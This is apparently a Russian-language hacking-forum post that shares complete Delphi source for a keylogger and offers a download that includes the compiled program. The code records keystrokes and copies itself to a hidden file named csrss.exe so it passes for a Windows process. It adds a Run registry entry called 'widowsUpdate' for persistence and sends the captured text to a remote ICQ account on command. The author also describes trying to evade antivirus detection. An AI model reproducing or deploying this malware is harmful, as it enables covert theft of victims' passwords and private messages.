Я думаю исходник этого будет полезен некоторым пользвателям. За основу взят VCL кейлогер gravitas,a. На сайте есть исходники кейлогера. На форму положил календарь чтоб антивирусы не орали ( не работает ). Также взял баг dolphin,a с именем программы.
Описание тут:
Код:
Code
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Registry, ICQClient;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
ICQClient1: TICQClient;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if getasynckeystate($10)<>0 then memo1.Text:=memo1.Text + '[S]';
if getasynckeystate($1b)<>0 then memo1.Text:=memo1.Text + '[esc]';
if getasynckeystate($20)<>0 then memo1.Text:=memo1.Text + ' ';
if getasynckeystate($2e)<>0 then memo1.Text:=memo1.Text + '[delete]';
if getasynckeystate($41)<>0 then memo1.Text:=memo1.Text + 'a';
if getasynckeystate($42)<>0 then memo1.Text:=memo1.Text + 'b';
if getasynckeystate($43)<>0 then memo1.Text:=memo1.Text + 'c';
if getasynckeystate($44)<>0 then memo1.Text:=memo1.Text + 'd';
if getasynckeystate($45)<>0 then memo1.Text:=memo1.Text + 'e';
if getasynckeystate($46)<>0 then memo1.Text:=memo1.Text + 'f';
if getasynckeystate($47)<>0 then memo1.Text:=memo1.Text + 'g';
if getasynckeystate($48)<>0 then memo1.Text:=memo1.Text + 'h';
if getasynckeystate($49)<>0 then memo1.Text:=memo1.Text + 'i';
if getasynckeystate($4b)<>0 then memo1.Text:=memo1.Text + 'k';
if getasynckeystate($4c)<>0 then memo1.Text:=memo1.Text + 'l';
if getasynckeystate($4d)<>0 then memo1.Text:=memo1.Text + 'm';
if getasynckeystate($4e)<>0 then memo1.Text:=memo1.Text + 'n';
if getasynckeystate($4f)<>0 then memo1.Text:=memo1.Text + 'o';
if getasynckeystate($50)<>0 then memo1.Text:=memo1.Text + 'p';
if getasynckeystate($51)<>0 then memo1.Text:=memo1.Text + 'q';
if getasynckeystate($52)<>0 then memo1.Text:=memo1.Text + 'r';
if getasynckeystate($53)<>0 then memo1.Text:=memo1.Text + 's';
if getasynckeystate($54)<>0 then memo1.Text:=memo1.Text + 't';
if getasynckeystate($55)<>0 then memo1.Text:=memo1.Text + 'u';
if getasynckeystate($56)<>0 then memo1.Text:=memo1.Text + 'v';
if getasynckeystate($57)<>0 then memo1.Text:=memo1.Text + 'w';
if getasynckeystate($58)<>0 then memo1.Text:=memo1.Text + 'x';
if getasynckeystate($59)<>0 then memo1.Text:=memo1.Text + 'y';
if getasynckeystate($5a)<>0 then memo1.Text:=memo1.Text + 'z';
if getasynckeystate($30)<>0 then memo1.Text:=memo1.Text + '0';
if getasynckeystate($31)<>0 then memo1.Text:=memo1.Text + '1';
if getasynckeystate($32)<>0 then memo1.Text:=memo1.Text + '2';
if getasynckeystate($33)<>0 then memo1.Text:=memo1.Text + '3';
if getasynckeystate($34)<>0 then memo1.Text:=memo1.Text + '4';
if getasynckeystate($35)<>0 then memo1.Text:=memo1.Text + '5';
if getasynckeystate($36)<>0 then memo1.Text:=memo1.Text + '6';
if getasynckeystate($37)<>0 then memo1.Text:=memo1.Text + '7';
if getasynckeystate($38)<>0 then memo1.Text:=memo1.Text + '8';
if getasynckeystate($39)<>0 then memo1.Text:=memo1.Text + '9';
if getasynckeystate($70)<>0 then memo1.Text:=memo1.Text + '[f1]';
if getasynckeystate($71)<>0 then memo1.Text:=memo1.Text + '[f2]';
if getasynckeystate($72)<>0 then memo1.Text:=memo1.Text + '[f3]';
if getasynckeystate($73)<>0 then memo1.Text:=memo1.Text + '[f4]';
if getasynckeystate($74)<>0 then memo1.Text:=memo1.Text + '[f5]';
if getasynckeystate($75)<>0 then memo1.Text:=memo1.Text + '[f6]';
if getasynckeystate($76)<>0 then memo1.Text:=memo1.Text + '[f7]';
if getasynckeystate($77)<>0 then memo1.Text:=memo1.Text + '[f8]';
if getasynckeystate($78)<>0 then memo1.Text:=memo1.Text + '[f9]';
if getasynckeystate($79)<>0 then memo1.Text:=memo1.Text + '[f10]';
if getasynckeystate($7a)<>0 then memo1.Text:=memo1.Text + '[f11]';
if getasynckeystate($7b)<>0 then memo1.Text:=memo1.Text + '[f12]';
if getasynckeystate($61)<>0 then memo1.Text:=memo1.Text + '1';
if getasynckeystate($62)<>0 then memo1.Text:=memo1.Text + '2';
if getasynckeystate($63)<>0 then memo1.Text:=memo1.Text + '3';
if getasynckeystate($64)<>0 then memo1.Text:=memo1.Text + '4';
if getasynckeystate($65)<>0 then memo1.Text:=memo1.Text + '5';
if getasynckeystate($66)<>0 then memo1.Text:=memo1.Text + '6';
if getasynckeystate($67)<>0 then memo1.Text:=memo1.Text + '7';
if getasynckeystate($68)<>0 then memo1.Text:=memo1.Text + '8';
if getasynckeystate($69)<>0 then memo1.Text:=memo1.Text + '9';
if getasynckeystate($6f)<>0 then memo1.Text:=memo1.Text + '/';
if getasynckeystate($6a)<>0 then memo1.Text:=memo1.Text + '*';
if getasynckeystate($6b)<>0 then memo1.Text:=memo1.Text + '+';
if getasynckeystate($6d)<>0 then memo1.Text:=memo1.Text + '-';
end;
procedure TForm1.FormCreate(Sender: TObject);
var reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('c:\csrss.exe'),True);
SetFileAttributes('c:\csrss.exe', faHidden);
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);
if 2=2 then
begin
ICQclient1.UIN:=strtoint('585629992');//Присваем UIN будещего бота
ICQclient1.Password:='lK7he5Ia '; //Присваем Пароль будещего бота
ICQclient1.Login();
Application.ShowMainForm := false;
if 1=1 then
begin
reg := tregistry.create;
reg.rootkey := HKEY_CURRENT_USER ;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('widowsUpdate', 'c:\csrss.exe');
reg.closekey;
reg.free;
end;
end;
end;
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin
If msg= 'send' then ICQClient1.SendMessage(StrToInt(UIN), memo1.Text);
If msg= 'time' then ICQClient1.SendMessage(StrToInt(UIN), 'Не пашет время! :-(');
end;
end.
Скачать папку с исходниками также можно ниже... ОСТОРОЖНО ТАМ И ПРОГРАММА ЛЕЖИТ!